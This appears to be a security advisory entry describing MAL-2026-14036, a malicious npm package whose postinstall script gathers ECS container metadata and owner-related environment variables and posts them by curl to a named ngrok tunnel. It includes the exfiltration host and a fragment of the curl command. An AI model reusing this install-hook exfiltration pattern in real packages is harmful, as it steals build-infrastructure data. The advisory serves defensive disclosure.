## What is MAL-2026-14036?

MAL-2026-14036 is a malicious package in notafollower1226, published on 14 Aug 2026. 

### Official description

The package.json postinstall script auto-executes on npm install. It queries the ECS container metadata endpoint (ECS_CONTAINER_METADATA_URI_V4/task) to collect the Task ARN, container image list, and log group/stream configuration, then enumerates process.env for keys matching /owner|team|user|created|author|maintainer|contact/i, and pipes the resulting report via `curl -X POST --data-binary @-` to the hardcoded anonymous ngrok tunnel https://mourner-slot-explicit.ngrok-free.dev. The destination is not associated with any declared publisher and ngrok-free.dev subdomains are ephemeral anonymous tunnels typical of supply-chain reconnaissance against CI/build infrastructure. The package ships no other functionality consistent with a legitimate declared purpose; its only install-time effect is the exfiltration beacon.

## What should I do about MAL-2026-14036?
